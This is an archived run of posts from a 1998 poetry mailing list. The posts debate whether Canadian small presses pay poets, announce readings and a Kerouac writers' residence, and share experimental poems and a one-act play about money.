Sat 4 Jul 1998

It's Kevin Killian. Here I was telling all Bay Area visitors to see Argento's "Inferno" on July 10th, and now I've been reminded of a competing event on the same evening a few blocks away, at New Langton Arts (1246 Folsom) at 8:00 o'clock, a reading by two very estimable writers, Jim Brashear and Kathy Lou Schultz! Sorry for the confusion.

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122. Christopher Reiner
for the fourth
Sat 4 Jul 1998

ACCOUNT
ACCOUNTRY
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Volumes withdrawn

↑ Index

123. Douglas Barbour
Re: poetry & publishing
Sat 4 Jul 1998

On the whole, Morpheal seems to be talking about either a new dispensation or a rather large underground in Ontario. George is right about the small presses I know about. They publish poetry; they pay the writers, often in copies, & they try to distribute, some managing that much better than others. But when I speak of such presses as Brick Books , Coach House Press (the once) & Coach House Books (and future), Turnstone, Talonbooks, Coteau Books, ECW Press, Quarry Press, and many others, I speak of publishers that are at least business-like. And when I was a publisher, Longspoon Press paid its writers. And found the money to publish through sales & grants. The Canada Council has helped a lot of publishers, but in a country with such a small population (& sitting next to the elephant) we need the help. I do think that in the lean & mean nineties, a lot of younger writers have been forced back to chapbooks & to self-publishing.

Some of what appears is good, some bad; as a matter of fact, that's usually the case with 'real' publishers too...

Readings are another matter. Some are supported by the Canada Council, & for those the writer gets travel plus an honorarium. Some venues, like universities, have some money for readers, but not usually for travel. Then there are local readings where usually it's local writers who participate. two years ago, I was able to have Tony Lopez here with the help of the British Council, John Kinsella with the help of the Australian Council; last year the British Council helped bring the great Tom Raworth to Alberta -- without such help we could not have afforded these writers. But that's always the case, isn't it? George came here this past winter with the aid of the Canada Council, & as Billy Little said of the reading the other day, his audience left in a good mood...

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

in the rooms you live in
other people's books line your shelves

the traces of their lives
their minds

too
bpNichol

↑ Index

124. Alan J.J.N. Sondheim
2 as if Nikuko
Sat 4 Jul 1998

-

TONGUE, DANCING

"The _Jinriki_ chapter states:" At that time the World-Honored One demonstrated his great mystic powers to the entire assembly, extending his log, broad tongue till it reached upward to the Brahma Heaven."

I say, what slid off it, writes Nikuko.

Nichirin continues: "All the other Buddhas from the worlds through the ten directions seated on lion king thrones under jewel trees did the same, ex- tending their long broad tongues."

A prepuce of flesh, Nikuko thinks, a foreskin of the world. Nichin adds, below: "The _Amida_ Sutra states that Buddhas covered a major world system with their broad, long tongues, but lacks the truth that such a gesture would sub- stantiate. The _Hannya_ Sutra tells how the Buddha's tongue cov- ered the ma- jor world system and radiated infinite light when he expounded the _Hannya._ Yet this cannot be a proof [comparable to that of the _Jin- riki_ chapter]. Since these two sutras are mere provisional teachings, they obscured the Buddha's enlightenment in the remotest past." (Selected Writings of Nichirin, ed. Yampol- sky.)

Prepuce, foreskin. Foreskin, prepuce.

Nikuko, musing-transforming, clothes bursting from supine body in which she is speaking in Nichirin's Buddhas' tongues. Nichirin turns, becoming- tongue, long-thick pink-red flesh reaching across worlds, shadow-casting upon islands beautiful in dreaming-waters, saliva silver with ten thou- sand moons:

{
it can't be helped
the letters slip away from me
nikuko covers the buddhas with her tongues
covers the lands with her tongues
which carry world-scrolls of truth
sutras gospels
}
while (1 < 10000)
{
I SAY:
}

nnnnnnnnnnn iiiiii kkkkkkkk uuuuuuuuuuuuuuuuuu kkkkkkkk ooooooooooooo

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

TONGUES HARBOR NIKUKO-ALAN ACROSS WORLDS HISSING WITH JEWELS, SWORDS, MIRRORS, INTERJECTION-EXPOSTULATION SOUNDS AS WIRES CRACKLE, NODES AND ROUTERS SPELL FORMATION-KANJI, GRID DRAWS TIGHTER:

TONGUES DANCING IN THE SKIES!
THE DANCING OF NIKUKO-ALAN-TONGUE!

Of the

Space cracks the mirror.
The mirror is rigid.
Hit me with a stick.
The mirror reflects only what is evident.
What is evident is not evidence.
If it is evidence, hit me with a stick.
Brown wood-frame around the mirror, dais beneath it, tain behind.

From an angle the wood-frame reflects in the mirror.
From no angle, the dais; from no angle, the tain.
Nor does the mirror reflect the mirror.
It is space that is reflected in the mirror.
No space, no mirror; no space, no reflection.
Hit me with a stick; the space is empty.
The stick is in space; the stick is reflected in the mirror.
Stick approaches the mirror, Crack! Crack!
The mirror is rigid.
There is more than one stick.
There is more than one space.
There is one frame shifting in faultlines, fractures.
The frame is the world; the mirror is the world.
Crack! Crack!

- Nikuko

↑ Index

125. **morpheal**

Re: payment [of various kinds in various ways]

Sat 4 Jul 1998

> *This person has very scant knowledge. Here are some small presses that pay their poets: Talonbooks, RDC Press, Turnstone Press, NeWest, Pulp, New Star, 5th House, Exile, ECW, Vehicule, Thistledown. I would offer the names of some that ask you to pay them, but, frankly, I have not heard of any.*

That might be true, George, but we have only the knowledge we are given to have by those who give it. I mentionned my affiliation, and without mentionning the significant individuals I assure you that they are not insignificant. A few are actually publishers in their own right, and claim to know the industry extremely well, being members of the small press association.

Also why is it that every poet I have met has paid to publish their own, or has won a chapbook as a prize in a contest. That's it. That is all I have ever met in person and been able to talk to, anywhere where I have been invited.

So, can we decipher what happened to mislead me, and many others, so badly ? Is there a conspiracy ? Who is behind it ? Why is there a conspiracy ?

Perhaps rhetorical questions, but they do come to mind.

M.

↑ Index

126. **morpheal**
Re: payment [of various kinds in various ways]
Sat 4 Jul 1998

> *How do you know when rye crisps are stale?*

They began their life as rye bread, and had started to turn a shade of green.

The penicilin on them probably helped stave off infections, contributing to the probability of survival.

I found that green cheddar is also edible without any ill effects.

regards,
Bob

↑ Index

127. **morpheal**
Re: poetry & publishing
Sat 4 Jul 1998

> *On the whole, Morpheal seems to be talking about either a new dispensation or a rather large underground in Ontario.*

I add only that I was also generously offered, by a good publisher friend, a chance to publish some of my visual art for a price aforementionned of approximately $5,000. It was suggested as a second effort, rather than my buying another poetry book. (He meant black and white renditions, rather than full colour litho, but he was also showing me a sample of a full colour litho book of visual art that had been locally self published, paid for by the artist to whet my apetite for a larger venue for my visual work.)

> *George is right about the small presses I know about. They publish poetry; they pay the writers, often in copies, & they try to distribute, some managing that much better than others. But when I speak of such presses as Brick Books , Coach House Press (the once) & Coach House Books (and future), Turnstone, Talonbooks, Coteau Books, ECW Press, Quarry Press, and many others, I speak of publishers that are at least business-like. And when I was a publisher, Longspoon Press paid its writers. And found the money to publish through sales & grants.*

I repeat that I am a member of the Canadian Poetry Association and no one from that group has ever mentionned any such thing. Even the anthologies, as good as they are, were pay for print. There was some really nice work compiled in a few of them. Each poet has to pay around $14 and send in a few poems. That pays for the publication.

As for members ever even hearing about presses that publish poetry without cost to the poet, I have no knowledge of any such thing from anyone.

The organization has a sizeable membership.

> *Readings are another matter. Some are supported by the Canada Council, & for those the writer gets travel plus an honorarium. Some venues, like universities, have some money for readers, but not usually for travel. Then there are local readings where usually it's local writers who participate.*

Here the small presses control the readings. As I said before. No new book published locally, no reading, no publicity. I do not, from my association with local poets, whether established or new at it, know of anything different. I am absolutely floored at what I am currently reading on this list, as being an "alternate reality".

Are we talking about the same planet ? I am having extreme difficulty reconciling my experiences among poets here, with what is being said by a few of the list members. They are radically in opposition to one another as though two entirely different cultural and ideological systems.

If that is my experience, then it must also be the experience of other poets. I am not that unique. Other than, perhaps, that I ask about opportunities, when I meet those I know, and follow up on what I hear about. Now I feel like my "best friends" have led me right into the wall, at full speed ahead at midnight. I know that I was not uniquely misled. I know there are others. That same wall seems to be covered from top to bottom in the metaphoric "blood" of splattered poets. From what I could see on the one side there appeared to be no other side, only the edge of the known world to fall off from.

Now I feel as if my "best friends" are either as ignorant as I apparently was, or that they are so violently and unscrupulously competitive as to put their fellow poets into the ground without a fighting chance. That might include those that said nothing "helpful" as well as those that said something "helpful".

M.

↑ Index

128. morpheal

Re: Money! Money! Money! [a one act play, or a play in one act]

Sat 4 Jul 1998

Took me a while to get around to responding to this:

> *Money makes the world go round, the world go round,*
> *Money makesthe world go round, it makes the worrrrrllldd go rrrrrrrrrrrrrrrrrrrrrroooound*
> *It maaaaaaaaaaaaaaaakkkkkessss the wooooorrrrrrlllddd go ROUND*
> *It MAkes the World Go Round.*
> *Sung to the Marvelous Tone & Tunes of Cabaret.*

No. I insist that it does not make the world go round. It flattens everything. It makes for a flat earth. Steamrollered flat. Flat effect. Everything flattened out. Completely flattened out. Absolutely pancaked. Either that or melted down from rushing around and around and around on a flat world.....

It is such a heavy thing. Money that is. Heavy to have. Heavy to hold. Heavy burden not to have any. From any angle it is so heavy. It can flatten out anything completely and absolutely and make it remain that way forever. Then again, it seems appropriate it is made by pressure in a press, in a process that involves huge pressures.....giving it its essential character. Coins come from a die press. Paper money from a printing press. Supposedly that is to make us fear change the most. It rattles at us and rattles us. It has the temperament of a rattlesnake. When money pressure strikes at us the venom goes in deep.

> *Oh give me Money that's what I want*

No. I insist that was _NOT_ what it was about.

It was not about vanity either.

It was not about a quest for fame either.

I keep saying it was about art and it was about love. Those two being different subjects, but then someone wants to concatenate and twist those together, and put it through the same flattening out pressure.....It was also about communication.

So, perhaps that condemns to eternal _hellfire_.
(Sung to the tune from Atomic Rooster, Arthur Brown and Vincent Crane)

Anyway.....here is something about "Money". More blasphemies no doubt.

I do not usually write this kind of thing. First one act play I ever wrote. However, it answers better than anything else i have handy right now.

==========

MONEY A play in one act. By: Morpheal aka Bob Ezergailis -----

Dramatis Personae:

Young Man: Dressed in a business suit. Wearing a tie and uncomfortable leather shoes. Young Woman: Wearing a pant suit and a negligee under the jacket. Money Bag: Canvas bag with dollar signs on it. Money is inside. Also a tape recorder. The tape recorder plays softly but audibly all the time from inside the sack. It is an overdub of fragments of stock quotations and business news previously recorded by several other voices from actual current news. Doctor: A doctor, dressed conservatively for the office, carrying a doctor's bag. Various Bystanders: The audience.

Scene: Somewhere on a city street in a large metropolitan area.

As the act opens a young man and a young woman are carrying a large canvas sack. It has large black dollar signs painted on front and back. They are straining with the load. It is very heavy and gets heavier and heavier for them as they proceed down the street.

The young woman drops to her knees and they rest the sack on the ground. She is wiping her brow from what is obviously becoming severe over-exertion and exhaustion.

Young woman: I don't know how much further I can go with this.
Young man: We have to keep going. (He looks nervously over this shoulder.) We have a long way to go.
Young woman: How far ?
Young man: To the end of the road.
Young woman: How far is that ?
Young man: I don't know. I never met anyone who has been there.
Young woman (sobbing): How did we get ourselves into this ?
Young man: What else could we do ?
Young woman (exasperated): I don't know. How would I know. You should know.
Young man: Why ? Because I am a man ? I don't know. I simply don't know.
Young woman: You know I didn't mean it that way.
Young man: I bet you didn't. Now grab your end of it and lets keep going.

They grab the sack again and heave it up and begin to stagger some ways further with it.

Young woman: It feels so much heavier. I don't think I can go much further.
Young man: We can't stop now. We can't stop here. We'll never make it if we stop here. Young woman: Let's rest a while.

They sit either side of it, on the sidewalk, with their backs to it.

Young woman: Do you remember how much fun we used to have ?
Young man: Before we made it ?
Young woman: Yeah. You used to come home for dinner.
Young man: But we were poor. It was horrible to be poor.
Young woman: We used to spend the weekend at your uncle's cabin. No one for miles around.You used to kiss me, and we had candles. It was romantic.
Young man: You want me to kiss you ?
Young woman: It would be nice. (Looking dreamy eyed.)
Young man: Ok....

He puckers his lips, turns and leans around to one side of the sack, while she puckers her lips and leans around the other side of sack. She is looking at his behind while he is looking at her's.

Young woman: Where are you ? Come over here.

They each turn around the other way and soon she is looking around the other side of the sack at his behind while he is looking around the opposite side of the sack from where he was at her behind. (They are now doing the same from opposite directions.)

Young man: Over here. Where are you ?
Young woman: Over here. Where are you ?

He is looking near the bottom of the sack. She is looking over the top of the sack.

Young woman: (exasperated) Never mind. Young man: Where are you ? Young woman: Forget it. I'm too tired anyway, and we have to be going. We will never make it to the end of the road if we don't hurry. Young man: You're right. We have to hurry. Do you think you can make it ? Young woman: I'll try. I have to try, don't I? Did I ever let you down before? Young man: No. You never let me down before. You never let me down and I never let you down.
Young woman: That's right. So let's go.

They grab the sack and lug it along some few yards further.

Young man: (Gasping) I feel a pain....
Young woman: You alright ?
Young man: No. Pain in my chest. (Clutching left chest drops to his knee.)
Young woman: What's wrong ? You going to be alright ? We have to make it to the end of the road.
Young man: Can't breathe. Pains in my chest.....
Young woman: Do you need a doctor ?
Young man: No. No. Don't need a doctor. I'll be alright. In a minute or two.
Young woman: I'm worried. You know I can't do this alone. I need you.
Young man: I know you need me. Don't worry. We'll make it.
The end of the road can't be very far from here.
Young woman: I hope not. I'm so very tired. Seems we have been at this forever.
Young man: Not so very long, really. Seems like we began only yesterday. It goes so fast.
Young woman: The pain's gone ?
Young man: Almost. A few deep breaths and I'll be alright.....(breathing deeply, still in pain).

Young woman: Good. You had me worried. I don't know what I would do without you.

They grab the sack again and heave it painfully up off the ground. They continue on a few staggering paces. The young man puts the sack down and falls gasping to the ground..

Young woman: What happened ?

Holding on to her side of the sack, she reaches over with one hand and nudges at him. There is no response. She starts to cry hysterically.

Young woman: What am I going to do ? (crying) How will I get to the end of the road ?

She grabs the sack and tries to heave it along a few more steps. Then she too collapses. A doctor happens to be passing the fallen couple. The doctor rushes towards them.

Doctor: Stand aside please. Stand aside. Give them room to breathe. I'm a medical doctor. Anyone know what happened here ? Does anyone know who these people are ?

There is no answer.

The doctor puts down the doctor bag and opens it. Takes out a stethoscope. Begins to take the young woman's pulse with one hand upon her wrist. The doctor's other hand reaches into the sack very discretely, pulling out a handful of paper money. The money is quickly shoved into one of the doctor's pockets.

Doctor: There now. There is not much I can do for her. She has reached the end of the road. Let me take a look at him.....Might be he has a better chance.

Doctor reaches one hand into the money bag again and pulls out another handful of paper money while taking the young man's pulse with the other hand.

Doctor: Nothing here either. Nothing to be done. I am too late. He has reached the end of his road.

Then the doctor places the stethoscope onto the Money bag and listens carefully.
The doctor then begins to work on it. Soon the bag is lying down on its side.

Doctor: I think I can do something for this one. Let's see, what have we here.....

The doctor pulls out another handful of money and stuffs into an already bulging pocket. Soon two legs emerge from the bottom of the sack. They are green and barefoot. A few moments later a green head emerges from the top of the sack. The doctor helps the sack to its feet and the sounds of stock quotations and business news grows louder from inside it.

Money Bag giggles. Makes a hop, and a skip and a jump. Twirls around and looks at the bystanders with a merry twinkle in its eyes, while the doctor packs the doctor's bag and picks it up.

Doctor: Well, well, one out of three is not bad. Now you take it easy, and look after your circulation. You do not want to end up like those other two.....Best come by my office next Monday. I'll give you a thorough check up. Here's my card. At 10 would be best.....

Doctor drops the card into the money bag. Grabs another handful of paper money. Starts to take it from the bulging pocket and starts to count it and shuffle it into a neater pile . The Money bag runs off towards the end of the road. The doctor shakes head at the dead couple and follows the Money bag in the same direction towards the end of the road.

The End [of the road].

© Morpheal

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129. toddbaron

Re: for the fourth

Sat 4 Jul 1998

Christopher Reiner wrote:
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> ACCOUNT
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\must be vanished, vanquished
all to be a B again/

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130. **toddbaron**

Re: payment [of various kinds in various ways]

Sun 5 Jul 1998

---

and that "chips" are not stale
as either "chips" nor salted
functions. Crisps--are not Rye
if you're British.

but poetry don't pay--
crime does.morpheal wrote:
>
> >How do you know when rye crisps are stale?
>
> They began their life as rye bread, and had started to turn a shade of green.
>
> The penicilin on them probably helped stave off infections, contributing
> to the probability of survival.
>
> I found that green cheddar is also edible without any ill effects.

>
> regards,
> Bob

↑ Index

131. Alan J.J.N. Sondheim
My Dark Secrets
Sun 5 Jul 1998

-

My Dark Secrets

ThjennEiferrjennEifer juAlurjennEifer tnikIukomjennEifers whjennEifern I wjuAlunt talOan dnikIukosgtraUvisnikIukosjennEifer memYilysjennEiferlf, halOanld bjuAluck fralOanm emYilyalOantraUvis - njennEifervjennEiferr juAludmnikIukot talOan fjuAlunikIukoltraUvisrjennEifer, straUvisnikIukocnikIukodjuAlul tjennEiferndjennEiferncnikIukojennEifers (nalOant juAlu bjuAlud bjuAlund!), lnikIukofjennEifer juAluftjennEiferr djennEiferjuAluth, balOanth juAlu sttraUvisttjennEiferrjennEiferd bjennEiferlnikIukojennEiferf nikIukon, juAlund dnikIukomnikIukontraUvistnikIukoalOann alOanf, thjennEifer SpnikIukornikIukot. ThjennEifern I wnikIukoll wrnikIukotjennEifer nikIukontalOan thjennEifer thnikIukon juAlunikIukor, nikIukon juAlu falOanrmjuAlut hnikIukoddjennEifern bemYily snjuAlurljennEiferd wnikIukorjennEifers, tjuAlugs, bralOankjennEifern nalOandjennEifers - juAlus nikIukof I calOantraUvisld juAluccalOanmplnikIukosh thjennEifer pjennEiferrfjennEiferct mjuAlugnikIukoc bemYily memYily cljennEifervjennEiferrnjennEiferss. ThjennEifer cjuAlusjennEifer juAlulwjuAluemYilys brjennEiferjuAluks traUvisp lnikIukokjennEifer thnikIukos; I'm ljennEiferft djennEiferstnikIukottraUvistjennEifer. WhjennEifern I mjuAlusttraUvisrbjuAlutjennEifer nikIukon NjennEifert sjennEiferx, thjennEifer walOanrst hjuAluppjennEiferns - thjennEifer calOanmptraUvistjennEiferr's ttraUvisrnjennEiferd alOanff, I'm ljennEiferft wnikIukoth stjuAlunikIukons juAlund djuAlumpnjennEiferss; nnikIukoght sjennEiferjennEiferps thralOantraUvisgh thjennEifer wnikIukondalOanws. I juAlum juAlulwjuAluemYilys wrnikIukotnikIukong talOan memYilysjennEiferlf...

There are times when I want to disguise myself, hold back from you - never admit to failure, suicidal tendencies (not a bad band!), life after death, both a stuttered belief in, and diminution of, the Spirit. Then I will write into the thin air, in a format hidden by snarled wires, tags, broken nodes - as if I could accomplish the perfect magic by my cleverness. The case always breaks up like this; I'm left destitute. When I masturbate in Net sex, the worst happens - the computer's turned off, I'm left with stains and dampness; night seeps through the windows. I am always writing to myself...

Oh !

alanh ! emilyalantravis wnikukoll halanld mjennifer stravisrralantravisndjenniferd bemily stravisch emilyalantravis vjenniferremily salanftlemily julurms !

alanh ! emilyalantravisr spjenniferjuluknikukong malantravisth cjulujalanl-nikukong smtravisdgnikukong-thalantravissjulund mnikukorralanrs !

alanh ! stravisch nikukos emilyalantravisr smtravisdgnikukong-thalantravissjulund-mnikukorralanrs , memily smtravisdgnikukong-fjulucjennifer !

alanh ! Nnikukoktraviskalan , memily smtravisdgnikukong-fjulucjennifer , emilyalantravisr vjenniferremily salanftlemily julurms !

alanh ! juluh! wjennifer julurjennifer salan vjenniferremily lalanvnikukong wjen-nifer ! nikukon salanft lalanvnikukong julurms !

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132. George Bowering

Re: payment [of various kinds in various ways]

Sun 5 Jul 1998

> *Also why is it that every poet I have met has paid to publish their own, or has won a chapbook as a prize in a contest.*

I wonder what poets you have met. Did you say that you were in hamilton, the home of David mcFadden, who published poems with Talonbooks and McClel-land & Stewart, two publishers that pay for poems and advertise the books? Maybe you should go to Toronto, and attend some poetry readings. Or see if they still have them at McMaster Univ. or the Community College whose name I forget, a coupld places I have read, havinghad my air travel paid and getting a fee. You might get a chance to talk to a poet who gets his poems published without paying for the privilege.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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133. George Bowering
Re: poetry & publishing
Sun 5 Jul 1998

> *I repeat that I am a member of the Canadian Poetry Association and no one from that group has ever mentionned any such thing. Even the anthologies, as good as they are, were pay for print. There was some really nice work compiled in a few of them. Each poet has to pay around $14 and send in a few poems. That pays for the publication*

What is the "Canadian Poetry Association"? I have been around poetry in Canada for a long time, and I have never heard of this organization. I have a sneaking hunch that you may have made it up, just to get a strange conversation going. One has, of course, heard of the League of Canadian Poets, and of the Writers Union of Canada. But this CPA sounds like you're kidding.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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134. morpheal
Re: My Dark Secrets
Sun 5 Jul 1998

> *W.C.W. said something like:*
> *"Don't try to understand the Modern poem."*
> *He was right on the button, here.*

The work of art, including literary art, becomes inherently incomprehensible exactly at that same moment as excessive paranoia causes the artist producer of the work of art to fear being communicatively understood. This is the very essence of what becomes the modern work of art, situated as it was, at its very inception in a period of two massive global conflagrations, the world wars, and all the massive political machinations that have been struggling to captivate completely the minds of humankind. Increasing artistic abstraction becomes becomes the political response of submission to any meaning that anyone might read into the work of art. It the reduction of meaning to that meaning which means avoidance of intentional communicative interaction between artist and audience, mediated by the work of art itself, in paranoid fear that something might be said wrong. If something is said wrong then the apparent blindfold over the artist's eyes, the tied hands, and the gagged voice, might end in the

firing squad loosing its final volley at the producer of the work. This is where many have lived in many places, during most of this 20th century.

Morpheal

aka Bob Ezergailis

↑ Index

135. **morpheal**

Re: quantum of action [the quantum as a basic unit of magick]

Sun 5 Jul 1998

> *"It will serve our purposes if we first state that Bohr was not a positivist and explain why. A few years ago E. [e.g. Edward] Teller reminded me of two remarks Bohr made when we were working together at his institute. One of them was made after Bohr had addressed a congress of positivist philosophers. Bohr was deeply disappointed by their friendly accceptance of all he had said about quantum theory, and he told us: "If a man does not feel dizzy when he first learns of the quantum of action, he has not understood a word." They accepted quantum theory as an expression of experience, and it was their Weltanschauung to accept experience; Bohr's problem, however, was precisely how such a thing as a quantum of action can possibly be an experience."---from The Unity of Nature by Carl Friedrich von Weizsaecker---cp*

Bohr apparently realized that he had become initiate, albeit in a different system of metaphors, as to something of the most occult science of magick. He knew already that microcosmic events, quantum events, could give rise to macrocosmic events. That mirroring between above and below being a fundamental principle of magickal lore, as to magickal correspondences and effects. It was a short leap from that realization to the realization that the microcosmic quantum events within the brain could give rise to macrocosmic events in the world, as an apparently synchronistic causality, in a similar manner as to how chaos theorists later speculated how the wings of a microcosmic insect on one side of the world could give rise to a huge storm on the other side of the world. We might imagine then, how the "quantum of action" mediates between correspondences of microcosm to macrocosm. With the rise of quantum theory in science we would then have less and less reason to doubt that magick is also equally true.

M.

↑ Index

136. **Ryan Whyte**
Re: My Dark Secrets
Sun 5 Jul 1998

What you call 'incomprehensibility' is a product of specialization within the art-world in the absence of a concrete register of narratives authorized by, oh, say the church. And I'd go farther back than the world wars for the emergence of 'the modern art object,' whatever that actually is; even good old Jansen puts it at 1850 in certain places,1900 in others... you could say, though, that the precedent is set by the freedom from patronage enjoyed by certain quattro-cento artists....

↑ Index

137. **J. Kuszai**
help in boulder!
Sun 5 Jul 1998

Hi kids!

I need some help. Steve Dickison is arriving in Boulder today (so I hear) and I need to get some information to him, via email. If anyone out there can print and deliver to Steve/&/or Naropa this information I would greatly appreciate it.

Please let me know backchannel whether or not you can help. I won't be able to log in until this evening, so this isn't something that needs tohappen SUNDAY, but rather MONDAY!

thanks ten buhzillion for the help--

p.s. backchannel only! (save space, don't quote me on this)

jk

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138. **Christian Roess**
Kerouac cottage place for writers
Sun 5 Jul 1998

From_ The Orlando Sentinel_(Florida) : (Sunday, July 05, 1998)

KEROUAC COTTAGE WILL BE PLACE FOR WRITERS

By Leslie Doolittle

> *Remember that cottage in College Park where author Jack Kerouac lived in 1957--- the year_ On the Road_ became the bible of the beat generation?*

It's about to become a literary landmark.

A newly formed non-profit corporation is buying the home on Clouser Avenue and will announce plans Saturday to use it for an author-in-residence project tied to Rollins College (Winter Park, FL)

On hand for the announcement at Chapter's Bookshop on Saturday will be John and Jim Sampras, Kerouac's brother-in-law and nephew; David Amram, Jack's pal and musical collaborator; and Douglas Brinkley, who is writing Kerouac's authorized biography.

For more info, call Marty Cummins at Chapter's Bookshop [redacted].<<<

****

I'll post additional info to the LIST if I get by Chapter's next weekend for the announcement , or if any ' follow-up ' to this article seems of interest.

Chris

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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139. Dan or Orion

censorship/ cultural editing

Sun 5 Jul 1998

Besides the more obvious forms--like deleting passages or refusing funding--there exist more subtle forms, some of which i think of as market or economic censorship. the small scale of poetry publishing, even comparing the largest runs of poetry books to 'popular' fiction. we're told there's no audience for poetry, but advertising, public relations etc sure have excelled over the decades at creating markets. the growing corporate media monopolies, that cut across the old boundaries to combine movies, TV, magazines and book publishers under one corporate gavel, creating media superstars, tot he exclusion of so many other artists. with fewer 'products' out there, issues are so much easier to contain. the money spent to promote one john grisham novel could produce full-length poetry books by everyone in the POETICS group and 5 of their friends [i'm wildly guessing on the numbers, but heck, this is chat not a research paper]--allocation of resources is a great tool of censorship: if its not published or recorded or broadcast no one else can pick up on the ideas, be inspired or inflamed by the artists observations. this promotion of national, mass-culture also seriously erodes local culture, local artists. this may be just a side effect of the markets larger scheme of eroding community to create more markets (i'm planning to print up bumper stickers to say "Community is the opposite of capitalism," tho the reverse, while more negative, is more to the point--since community involves sharing with others, and capitalism involves nothing being free.)

dan

↑ Index

140. David Golumbia
Beefheart Box (fwd)
Sun 5 Jul 1998

---

thought this might be of interest to some...

> *From: JF Howard & MW Hamilton <[redacted]>*
> *To: <[redacted]>*
> *Subject: Beefheart Box*
>
> *Critically acclaimed experimentalist*
> *Captain Beefheart will be the subject*
> *of a four-CD box set of unreleased*
> *material due in stores this November*
> *from Revenant Records. Among the work*
> *collected on the set will be the original*
> *instrumental recordings for Beefheart's*
> *1969 masterpiece, Trout Mask Replica,*
> *and the complete, original album known*
> *as Bat Chain Puller (some of which was*
> *later released in altered form as Shiny*
> *Beast in 1978). The set will also*
> *include one disc of a 1968 live*
> *performance on the beach at Cannes,*
> *France, plus enhanced-CD video footage*
> *of that set.*
> *[Sat., Jul 4, 1998 3:04 AM EDT]*
>
> *++++++

141. **David Golumbia**
of course
Sun 5 Jul 1998

now that i sent that beefheart message, i realized it would fall far behind the glowing qualities of the recent Dick's Picks volume 10 (12/77) - volume 11 (9/72) - they are both so so so Gwyn can you help please?

& at $18.50 for 3 discs ea. of 180+min of music that's $1 for 18 minutes of music you carnt go wronge

i have the magic tape of ratdog doing "i am stuck on bandaids cause bandaids stuck on me"

also far moe than beefhearthe is new boards of canada MUSIC HAS THE RIGHT TO CHILDREN

sonic youthe, 10000 leaves
kinks, kinks, reissues of SOMETHING ELSE FACE TO FACE VILLAGE GREEN PRES. SOC.

l. hart, between the body and the flesh, performing lesbian sadomasochism

biber, conrad & reppen, corpus linguistics

paul sharits, n:o:t:h:i:n:g

s.m. many wishbones this is is is !!

mccawleye, 30,0,000,000,0000,0 theories
of gramma

positions east asian cutlurale critiqu

--
[redacted]
David Golumbia

↑ Index

142. **Anthony Lawrence**
Re: My Dark Secrets
Sun 5 Jul 1998

> *My Dark Secrets*
>
> *ThjennEiferrjennEifer juAlurjennEifer tnikIukomjennEifers whjennEifern I wjuAlunt talOan dnikIukosgtraUvisnikIukosjennEifer memYilysjennEiferlf, halOanld bjuAluck fralOanm emYilyalOantraUvis - njennEifervjennEiferr juAludmnikIukot talOan fjuAlunikIukoltraUvisrjennEifer,*

> *straUvisnikIukocnikIukodjuAlul tjennEiferndjennEiferncnikIukojennEifers (nalOant juAlu bjuAlud bjuAlund!), lnikIukofjennEifer juAluftjennEiferr djennEiferjuAluth, balOanth juAlu sttraUvisttjennEiferrjennEiferd bjennEiferlnikIukojennEiferf nikIukon, juAlund dnikIukomnikIukontraUvistnikIukoalOann alOanf, thjennEifer SpnikIukornikIukot. ThjennEifern I wnikIukoll wrnikIukotjennEifer nikIukontalOan thjennEifer thnikIukon juAlunikIukor, nikIukon juAlu falOanrmjuAlut hnikIukoddjennEifern bemYily snjuAlurljennEiferd wnikIukorjennEifers, tjuAlugs, bralOankjennEifern nalOandjennEifers - juAlus nikIukof I calOantraUvisld juAluccalOanmplnikIukosh thjennEifer pjennEiferrfjennEiferct mjuAlugnikIukoc bemYily memYily cljennEifervjennEiferrnjennEiferss. ThjennEifer cjuAlusjennEifer juAlulwjuAluemYilys brjennEiferjuAluks traUvisp lnikIukokjennEifer thnikIukos; I'm ljennEiferft djennEiferstnikIukottraUvistjennEifer. WhjennEifern I mjuAlusttraUvisrbjuAlutjennEifer nikIukon NjennEifert sjennEiferx, thjennEifer walOanrst hjuAluppjennEiferns - thjennEifer calOanmptraUvistjennEiferr's ttraUvisrnjennEiferd alOanff, I'm ljennEiferft wnikIukoth stjuAlunikIukons juAlund djuAlumpnjennEiferss; nnikIukoght sjennEiferjennEiferps thralOantraUvisgh thjennEifer wnikIukondalOanws. I juAlum juAlulwjuAluemYilys wrnikIukotnikIukong talOan memYilysjennEiferlf...*

W.C.W. said something like:
"Don't try to understand the Modern poem."
He was right on the button, here.

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

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143. Gwyn McVay
dead stuff (was beefheart)
Sun 5 Jul 1998

>>>now that i sent that beefheart message, i realized it would fall far behind the glowing qualities of the recent Dick's Picks volume 10 (12/77) - volume 11 (9/72) - they are both so so so Gwyn can you help please?

& at $18.50 for 3 discs ea. of 180+min of music that's $1 for 18 minutes of music you carnt go wronge<<<

one indeed cannot steer wrong w. anything from 1977--but I particularly like DP11 for a number of reasons:

--better set/album, imo, than Europe '72--although Bobby is still deep into cowboy phase (Me & My Uncle, El Paso, etc.), Keith Godchaux has not yet hit his I-will-only-play-a-grand-piano phase, & the keyboard side really sparkles--also there are only 2 of those famous long random yowls from Donna--

--two words: "Dark Star"--

--Garcia is energetic & all over the place--relatively good voice (best guitarist in the universe but never was no Pavarotti)--a treat

hope this helps
Gwyn

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144. k.a. hehir
Re: payment [of various kinds in various ways]
Sun 5 Jul 1998

---

mr. morpheal,

first let me say that i'm behind on my readings and if this gets addressed inthe next 48 posts i apologise.

and now the post:

i'm not sure what youare talking about. i also live in Sowesto and also put on readings. i have never had anyone pay me to read. for the last 5 years i have been organizing readings in galleries and pubs. the crowds have averaged about 47(witha max of 73 on one hot june night) yes i have been paid by the pub- once i took the 25 bucks from the barman and gave it to poet from hamilton to feed her boyfriend's camero. and yes i usually get a few pints out of the evening. but the reason i do it, whether cris cheek from london proper or modo press from peterborough is because i like putting on shows. i think spending a day postering with a borrowed walkman is better than lovely.

